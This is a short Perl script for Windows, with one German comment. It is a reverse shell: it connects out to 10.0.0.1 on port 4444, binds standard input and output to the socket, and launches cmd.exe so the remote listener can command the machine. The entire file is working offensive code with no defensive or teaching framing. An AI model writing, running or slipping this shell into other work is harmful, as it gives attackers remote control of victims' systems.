#!c:/perl/bin/perl.exe

use Socket;

$i="10.0.0.1";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
##exec("cmd.exe"); #hatte erst das probiert
system("start cmd.exe /k $cmd");
};